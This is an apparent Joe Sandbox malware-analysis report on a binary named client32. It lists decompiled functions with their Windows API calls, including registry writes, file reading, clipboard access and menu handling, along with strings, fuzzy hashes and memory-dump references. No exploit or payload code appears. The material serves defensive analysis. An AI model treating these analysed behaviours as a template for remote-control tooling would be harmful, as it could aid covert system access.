Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Paint$BeginClientErrorExitLastMessageProcessRectwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 1216912278-2830328467
Opcode ID: 0a657eaac7784f981e952c5b4eda356fa1cc928cec26e5dc3949966a725d6846
Instruction ID: 9f5d66c176a0b7e7ec85eb6ceccc236f995905c2b82002c2a0bf4ef6a700b935
Opcode Fuzzy Hash: 0a657eaac7784f981e952c5b4eda356fa1cc928cec26e5dc3949966a725d6846
Instruction Fuzzy Hash: 35114C75A40219BFE715DBA0CC85FAEF3BCEB88718F108529F6169A180EA70A904C765

Function 110B9080 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 56COMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,FFCE8B2C,?,8F13E808,C085FFFA,00000001,?,76937AA0,?,?,?,110B9793,76937C74,?,?,00000000), ref: 110B90EE

Strings

Max, xrefs: 110B90CF, 110B90F4
???, xrefs: 110B909F
Min, xrefs: 110B90BB
j CB::SetWindowSize(%s), xrefs: 110B90F5
Norm, xrefs: 110B90D8

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MoveWindow
String ID: ???$Max$Min$Norm$j CB::SetWindowSize(%s)
API String ID: 2234453006-849929726
Opcode ID: 1f9178bd798435d4a9f7d01721b51b69abe7ab4725fbd077eace246e56df829d
Instruction ID: 9e3dfbfd4cbfd574ed7d23d514b689c65e11d8274e5870f27b61d133f33f0f70
Opcode Fuzzy Hash: 1f9178bd798435d4a9f7d01721b51b69abe7ab4725fbd077eace246e56df829d
Instruction Fuzzy Hash: 0C11C8B9A001449FD700DB9CDC85E5ABBA8FF88714B15C185FE089B312D171EC01C7A0

Function 1100B230 Relevance: 10.6, APIs: 7, Instructions: 54COMMON

Download Yara Rule

APIs

InterlockedDecrement.KERNEL32(?), ref: 1100B240
EnterCriticalSection.KERNEL32(?,?,1100BE7B,?,00000000,00000002), ref: 1100B279
EnterCriticalSection.KERNEL32(?,?,1100BE7B,?,00000000,00000002), ref: 1100B298

Part of subcall function 1100A1A0: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 1100A1BE
Part of subcall function 1100A1A0: DeviceIoControl.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 1100A1E8
Part of subcall function 1100A1A0: GetLastError.KERNEL32 ref: 1100A1F0
Part of subcall function 1100A1A0: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1100A204
Part of subcall function 1100A1A0: CloseHandle.KERNEL32(00000000), ref: 1100A20B

waveOutUnprepareHeader.WINMM(00000000,?,00000020,?,1100BE7B,?,00000000,00000002), ref: 1100B2A8
LeaveCriticalSection.KERNEL32(?,?,1100BE7B,?,00000000,00000002), ref: 1100B2AF
_free.LIBCMT ref: 1100B2B8
_free.LIBCMT ref: 1100B2BE

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter_free$CloseControlCreateDecrementDeviceErrorEventHandleHeaderInterlockedLastLeaveObjectSingleUnprepareWaitwave
String ID:
API String ID: 705253285-0
Opcode ID: e72ae2660a72024a37916babf9a0195b308b2880c1b138b54eb165fb961b2ec0
Instruction ID: fa89e9653f4791fe6b7112d01d8923e7b5b8fb3c01d96a6905fb0dd0b7110959
Opcode Fuzzy Hash: e72ae2660a72024a37916babf9a0195b308b2880c1b138b54eb165fb961b2ec0
Instruction Fuzzy Hash: 63118279900716ABE711CFA0DC88BEFB3ECAF49399F004619FA2696140D770B541CB62

Function 111130F0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\GraphicsDrivers\DCI,00000000,0002001F,?), ref: 1111311F
RegCloseKey.ADVAPI32(00000000), ref: 11113157
RegSetValueExA.ADVAPI32(00000000,Timeout,00000000,00000004,00000000,00000004), ref: 11113173
RegCloseKey.ADVAPI32(00000000), ref: 1111317D

Part of subcall function 1113F3A0: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110C55B,76938400,?,?,111414FF,00000000,CSDVersion,00000000,00000000,?), ref: 1113F3C0

Strings

System\CurrentControlSet\Control\GraphicsDrivers\DCI, xrefs: 1111310E
Timeout, xrefs: 1111313E, 1111316D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: System\CurrentControlSet\Control\GraphicsDrivers\DCI$Timeout
API String ID: 3962714758-504756767
Opcode ID: c46cdfa57b2f8145e01307e24912d12fa6f61ba6cfc8a53e9fe9385172041732
Instruction ID: 8185ff2203c8340135b0607d709f7464e4d9acf24e2e7ee59339e659b30d84cc
Opcode Fuzzy Hash: c46cdfa57b2f8145e01307e24912d12fa6f61ba6cfc8a53e9fe9385172041732
Instruction Fuzzy Hash: E90180B4A00209BFEB00DBA0CC49FAEF778AB44715F108158FE05EA184D770A6088BA6

Function 1101D340 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 1101D34E
LoadIconA.USER32(00000000,0000139A), ref: 1101D39F
LoadCursorA.USER32(00000000,00007F00), ref: 1101D3AF
RegisterClassExA.USER32(00000030), ref: 1101D3D1
GetLastError.KERNEL32 ref: 1101D3D7

Strings

0, xrefs: 1101D35C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Load$ClassCursorErrorIconLastRegister_memset
String ID: 0
API String ID: 430917334-4108050209
Opcode ID: bf222f5cf6771b3ad77bb914738adf0d57a68b301226ab599d0276dc8864ef78
Instruction ID: c3a1aa1c9dc0e20497c4fde615512ea724899bcb1f6dc83f2bf2d0086ea889f8
Opcode Fuzzy Hash: bf222f5cf6771b3ad77bb914738adf0d57a68b301226ab599d0276dc8864ef78
Instruction Fuzzy Hash: 73015274C1131AABDB00DFE0D99DBDDFBB4AB0430CF108529F615BA284E7B951048F96

Function 110033D0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EF1), ref: 110033DD
GetSubMenu.USER32(00000000,00000000), ref: 11003403
DestroyMenu.USER32(00000000), ref: 11003432

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

..\CTL32\annotate.cpp, xrefs: 110033EE, 11003414
hSub, xrefs: 11003419
hMenu, xrefs: 110033F3

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: d973dee63d8282570c310381642cc7a37d683fc462c6d0c9d0460e2ea6fc5953
Instruction ID: 589a1f8d6b7d0df236dfdd7a277f031fd69b34cc2dc2f81643ac8047fba249ee
Opcode Fuzzy Hash: d973dee63d8282570c310381642cc7a37d683fc462c6d0c9d0460e2ea6fc5953
Instruction Fuzzy Hash: 88F0A03EF4016A67D61362667C49F8FBA588BC16ACF160032FA14BE685ED64B40181FA

Function 110032E0 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFD), ref: 110032ED
GetSubMenu.USER32(00000000,00000000), ref: 11003313
DestroyMenu.USER32(00000000), ref: 11003342

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

..\CTL32\annotate.cpp, xrefs: 110032FE, 11003324
hSub, xrefs: 11003329
hMenu, xrefs: 11003303

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: 75fbc187aff8bd6701f5fdff7454b633672832933cc35328575910cd162d2c75
Instruction ID: 09cd33555f951a4db87b3258bd031d87f302a56b2b3b3639c3de48d9e4892ba0
Opcode Fuzzy Hash: 75fbc187aff8bd6701f5fdff7454b633672832933cc35328575910cd162d2c75
Instruction Fuzzy Hash: 62F0A73EF4056A76D61351667C49F8FB7584BC16BDF064031F914FA245EE11A44141F6

Function 110CF3C0 Relevance: 9.2, APIs: 6, Instructions: 207COMMON

Download Yara Rule

APIs

Part of subcall function 110D6180: std::_Xinvalid_argument.LIBCPMT ref: 110D61A0
Part of subcall function 110D6180: _memmove.LIBCMT ref: 110D6227
Part of subcall function 110D6180: _memmove.LIBCMT ref: 110D624B

std::exception::exception.LIBCMT ref: 110CF436

Part of subcall function 1115E87A: std::exception::_Copy_str.LIBCMT ref: 1115E895

__CxxThrowException@8.LIBCMT ref: 110CF44B

Part of subcall function 1115ECD1: RaiseException.KERNEL32(?,?,1110D204,?,?,?,?,?,1110D204,?,111C7D3C), ref: 1115ED13

__strdup.LIBCMT ref: 110CF48C
_free.LIBCMT ref: 110CF58E

Part of subcall function 110CE2D0: __strdup.LIBCMT ref: 110CE2EA

std::exception::exception.LIBCMT ref: 110CF5B6
__CxxThrowException@8.LIBCMT ref: 110CF5CB

Part of subcall function 110D6180: _memmove.LIBCMT ref: 110D6285
Part of subcall function 110D6180: _memmove.LIBCMT ref: 110D62A1

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _memmove$Exception@8Throw__strdupstd::exception::exception$Copy_strExceptionRaiseXinvalid_argument_freestd::_std::exception::_
String ID:
API String ID: 3555168555-0
Opcode ID: 51583c67cdb4506dc72870781dabe7ff21c2312c6d007b910a542f535d49549c
Instruction ID: 75e7bf5810e08465b28565169f65d759fbc0e02b7024d7c42b2ed2c7efff3954
Opcode Fuzzy Hash: 51583c67cdb4506dc72870781dabe7ff21c2312c6d007b910a542f535d49549c
Instruction Fuzzy Hash: E75192B5D0060AABD710CFA4D880B9EF7F9FF48714F1085A9E95693641E771B904CBA2

Function 11071060 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 430COMMON

Download Yara Rule

Strings

%02x , xrefs: 1107113D
Queue EV_CALLED_CONTROL: session=%d addr=%s extra=%s, xrefs: 11071400
Error %dz discarded %-4u bytes: %s, xrefs: 1107115C

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: %02x $Error %dz discarded %-4u bytes: %s$Queue EV_CALLED_CONTROL: session=%d addr=%s extra=%s
API String ID: 0-2590468221
Opcode ID: 51efe3b7b206f3b854fe1750f210dd0542c232edfea76239b5dafbca66e3ba40
Instruction ID: 7ee5740daa578c7ea64db7670d73d6d205fcd7c7721122ff2c828f62a5f8562a
Opcode Fuzzy Hash: 51efe3b7b206f3b854fe1750f210dd0542c232edfea76239b5dafbca66e3ba40
Instruction Fuzzy Hash: 79E17179F10241DBDB18CF54CC90F6AB7AAEF89304F148269E9469F2C5DA30ED41CBA5

Function 11031380 Relevance: 9.2, APIs: 6, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 1110C530: _malloc.LIBCMT ref: 1110C539
Part of subcall function 1110C530: _memset.LIBCMT ref: 1110C562

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 110313D4
GetFileSize.KERNEL32(00000000,00000000), ref: 110313F0
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 11031413
_memmove.LIBCMT ref: 11031467
CloseHandle.KERNEL32(?), ref: 110314A3
CloseHandle.KERNEL32(?), ref: 11031504

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateReadSize_malloc_memmove_memset
String ID:
API String ID: 2574518533-0
Opcode ID: 96efc46dd878d62add29deeee3a017a8f838ac94a0175d7f97ac4dede3d66e74
Instruction ID: 20c83cb89a8f3dfdafcf87935ea487d011ff864375340d28d3a39635b3eed337
Opcode Fuzzy Hash: 96efc46dd878d62add29deeee3a017a8f838ac94a0175d7f97ac4dede3d66e74
Instruction Fuzzy Hash: B2513EB5E01219AFCB40CFA8D880A9EFBF9FF48214F10852EE515E7241EB35A901CB91

Function 110315E0 Relevance: 9.1, APIs: 6, Instructions: 149windowclipboardCOMMON

Download Yara Rule

APIs

GetClipboardFormatNameA.USER32(?,?,00000080), ref: 1103166B
_memmove.LIBCMT ref: 110316F9
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 11031769
TranslateMessage.USER32(?), ref: 11031777
DispatchMessageA.USER32(?), ref: 11031784
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 1103179F

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
